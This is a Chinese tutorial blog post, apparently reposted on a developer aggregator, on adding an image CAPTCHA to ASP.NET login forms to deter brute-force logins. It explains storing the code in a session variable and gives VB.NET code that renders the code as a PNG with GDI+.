给ASP.Net表单增加验证码_.net表单增加验证码的代码-程序员宅基地

技术标签: cgi  string  session  asp.net  html  图形  

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

  一、验证码

  对于一个预防攻击的web表单来讲,验证码通常是一个常见的措施。因为如果对于一些public区域的页面内容来讲,譬如一个登录表单,如果没有必要的安全措施,很可能遭到模拟登录的暴力破解攻击,要么轻易获得特定账户的登录信息,要么给服务器增加了大量的负荷,影响正常的服务。解决的办法,一般就是在登录前给出一个随机的信息(验证码),显示在页面上,让用户填写,以确保用户是通过web页面来进行正常的登入,对于非法的非web途径登录者会看不到这个验证码从而拒绝其登录。虽然这样,往往很多攻击者会截获登录web页,从而也搜索出验证码,这样,验证保护措施也失去意义,一般情况下,我们可以通过将验证信息作为图像信息显示在web上,这样就既可以不阻碍合法用户登录,又使非法攻击者无法通过html搜索获得验证信息。这大抵上就是验证码的用途和意义了。

  二、ASP.Net的验证码实现

  一般传统的验证码图像一般采用一些CGI、ISAPI程序加上一些加密代码来动态生成图像,ASP大多采用COM组件实现,相当辛苦。

  ASP.Net中欲实现动态验证码却相当容易,笔者大致的思路:

  1、  了安全起见,一般存在于CGI程序的url中的验证码加密串最好不要出现在html表单中,而是采用session变量存储,这样验证码的校验会很容易。

  2、  采用一个单独的aspx页面专门产生动态程序,要显示的图形验证码信息存在于session中,而一个系统中有可能存在多个表单,为满足整个系统要求可以在aspx后加一个确定的session key的名称,例如

  <img src=”http://xxxx/Genimg/viewImg.aspx?sessionKeyName=abc”> 此处的abc就是登录页在第一次输出表单给客户端自动生成一个随机字符串存储在session中的key名称,在服务器端脚本中可以通过session(“abc”)获得生成的字符串(验证码)到底是多少,通过和用户在表单的验证码输入框中输入的内容比较来确定用户是否通过正常的ie浏览器来访问表单。

  3、  在表单的第一次显示(get方法)时,生成一个随机数字符串,存入session(“abc”)中,同时将abc作为sessionKeyName的值加入到验证码图形显示生成程序viewImg.aspx的url串中。

  4、  ViewImg.aspx分析sessionKeyName,获取session(“abc”)的具体值,利用GDI+产生内存图像,然后修改http header,按照content-type=images/png的格式输出二进制流,这样客户的浏览器会显示出一幅图像,图像表达的内容就是验证码。

  5、  当用户填入验证码后,提交到表单验证程序,首先考察其中的验证码输入字段,发现不匹配session(“abc”)马上拒绝,甚至可以累计失败登录次数,乃至拒绝此IP连接,保护系统;匹配session中的存储值,可以进行进一步的其他处理(譬如登录处理,文章发表等),当然也注意销毁此session变量(如果以后不需要)。

  6、  不同的表单,可以分配不同的session变量名,这样一个ViewImg.aspx可以为系统多个表单服务。

  三、实例解说

  重点列出viewImg.aspx吧,具体看清单:

Imports System.IO

Public Class viewImg

Inherits System.Web.UI.Page

    Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Dim img As Bitmap

        Dim gdiobj As Graphics

        Dim ms As MemoryStream      '--内存流,存放动态图形内存印象

        Dim vfycode As String       '--验证码

        Dim SessionKeyname As String

        If (Request("SessionKeyName") <> "") Then

            SessionKeyname = Request("SessionKeyName")

            If (Session(SessionKeyname) <> "") Then

                vfycode = Session(SessionKeyname)

            Else

                vfycode = ""

            End If

            img = New Bitmap(32, 16)    '--这个宽高可以根据需要确定

            gdiobj = Graphics.FromImage(img)

            gdiobj.DrawString(vfycode, (New Font("Arial", 9)), (New SolidBrush(Color.Black)), 0, 0)

            ms = New MemoryStream()

            img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)   '--选择透明格式

            Response.ClearContent()     '--原本是准备输出html流,现在输出图信数据,所以要修改http头

            Response.ContentType = "image/png"

            Response.BinaryWrite(ms.ToArray())   

        Else

        End If

        Response.End()        '--这个最好带上

    End Sub

End Class

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/donetk/article/details/2371986

智能推荐

1217 Arbitrage(最短路)_arbitrage is the use of discrepancies in currency-程序员宅基地

文章浏览阅读199次。ArbitrageProblem Description Arbitrage is the use of discrepancies in currency exchange rates to transform one unit of a currency into more than one unit of the same currency. For example, suppose tha_arbitrage is the use of discrepancies in currency

使用libjpeg库实现jpeg图片的缩放(缩略图)_libjpeg缩略图-程序员宅基地

文章浏览阅读1w次,点赞2次,收藏12次。libjpeg库的交叉编译libjpeg库主要用于jpeg格式图片的编解码,其交叉编译过程如下1. 下载源码从官方网站http://www.ijg.org/files/ 下载libjpeg库的源码,本次编译过程使用的是 jpegsrc.v9a.tar.gz2. 解压源码2.1 切换到下载目录,执行 tar -xzvf jpegsrc.v9a.tar.g_libjpeg缩略图

Mysql 时间戳类型使用心得-程序员宅基地

文章浏览阅读209次。2019独角兽企业重金招聘Python工程师标准>>> ..._mysql 时间戳用什么类型合适

串口上升时间标准_JESD204B 串行接口时钟需要及其实现-程序员宅基地

文章浏览阅读221次。ChenAndyMNCsignalchainFAE摘要随着数模转换器的转换速率越来越高,JESD204B串行接口已经越来越多地广泛用在数模转换器上,其对器件时钟和同步时钟之间的时序关系有着严格需求。本文就重点讲解了JESD204B数模转换器的时钟规范,以及利用TI公司的芯片实现其时序要求。关键字:LMK04800,LMK04828,LMK1802,LMK01010,JESD204内容1.J..._204b接口支持哪种时钟

深度学习环境配置(pytorch)_mx330显卡能玩跑深度学习程序吗-程序员宅基地

文章浏览阅读2.3k次,点赞7次,收藏69次。显卡是一个硬件,需要有一个驱动才能够被我们计算机识别出来,在安装驱动的时候,会随着驱动安装一个叫做cuda driver的东西,cuda是可以让显卡进行并行运算的一个平台,当我们的计算机想利用显卡做一些并行运算的时候,它就可以通过cuda driver去操作显卡。那为什么需要虚拟环境呢,一个直接的原因,例如我们一个项目要用pytorch开发,而另一个要用tensorflow开发,这样,我们可以创建两个虚拟环境,在里面分别安装pytorch和tensorflow,两个虚拟环境中的包和库不会互相冲突。_mx330显卡能玩跑深度学习程序吗

计算复杂性理论初步(一)多项式时间归约_多项式归约-程序员宅基地

文章浏览阅读2.5k次,点赞2次,收藏12次。一、归约的意义求解一个算法问题的时候,我们往往可以直观地感受到有些问题是比较难的,有些问题是比较简单的,但是我们并不能因为没有设计出一个比较高效的算法,就说它是一个难问题,所以问题的难易是相对的,我们需要一个科学的手段来界定问题的难易我们可以用问题之间的归约,来界定两个问题之间相对难易程度的基本手段二、优化问题与判定问题很多经典的难问题都是优化问题,而一个优化问题往往可以..._多项式归约

随便推点

Javascript 中 typeof 详解-程序员宅基地

文章浏览阅读68次。为什么80%的码农都做不了架构师?>>> ..._typeof content == 'boolean

Vue前端与Django后端实现前后端分离连接_vuedjango前后端分离-程序员宅基地

文章浏览阅读3.1k次,点赞9次,收藏31次。Vue前端与Django后端实现前后端分离连接_vuedjango前后端分离

问题解决之 RuntimeError: Couldn‘t load custom C++ ops. This can happen if your PyTorch XXX_runtimeerror: couldn't load custom c++ ops. this c-程序员宅基地

文章浏览阅读2.2w次,点赞11次,收藏66次。问题描述在深度学习环境 GPU 版 pytorch 下,运行代码出现报错,关键报错信息如下:RuntimeError: Couldn't load custom C++ ops. This can happen if your PyTorch and torchvision versions are incompatible, 大致的意思是说当前环境的 PyTorch 和 torchvision 版本不匹配,建议重新安装 PyTorch 和 torchvision。具体报错信息如下:Traceb_runtimeerror: couldn't load custom c++ ops. this can happen if your pytorch

极智开发 | 华为海思Hi35xx系列ARM32交叉编译opencv_海思 opencv 交叉编译-程序员宅基地

文章浏览阅读1.2k次,点赞2次,收藏8次。本教程详细记录了华为海思Hi35xx系列ARM32交叉编译opencv、zlib、libpng的方法。是上一篇x86环境源码编译opencv的姊妹篇。_海思 opencv 交叉编译

SpringBoot 数据库高效的数据访问及安全解决方案_springboot轻量数据库-程序员宅基地

文章浏览阅读1.9k次。随着互联网的飞速发展,网站流量越来越多,用户数据也越来越丰富,如何有效地存储、处理和检索数据成为了一个新的技术难题。Spring Boot 是 Spring 框架的一个轻量级开源框架,其在 JavaEE(Java Platform, Enterprise Edition)开发中扮演了重要角色。Spring Boot 提供了一种快速、方便的基于 Spring 的体系结构,从而使得 Java 开发人员能够更加关注业务逻辑而不是复杂的配置参数。_springboot轻量数据库

Android之自定义checkbox样式_android 自定义checkbox shape-程序员宅基地

文章浏览阅读3.1w次,点赞9次,收藏18次。大部分情况下,我们在UI中并不采用android自带的checkbox复选框样式,这时候就需要我们自定义自己的checkbox。首先找两张checkbox背景图片,比如下图样子的:然后在drawable目录下定义一个背景图片xml文件,内容如下:

推荐文章

热门文章

相关标签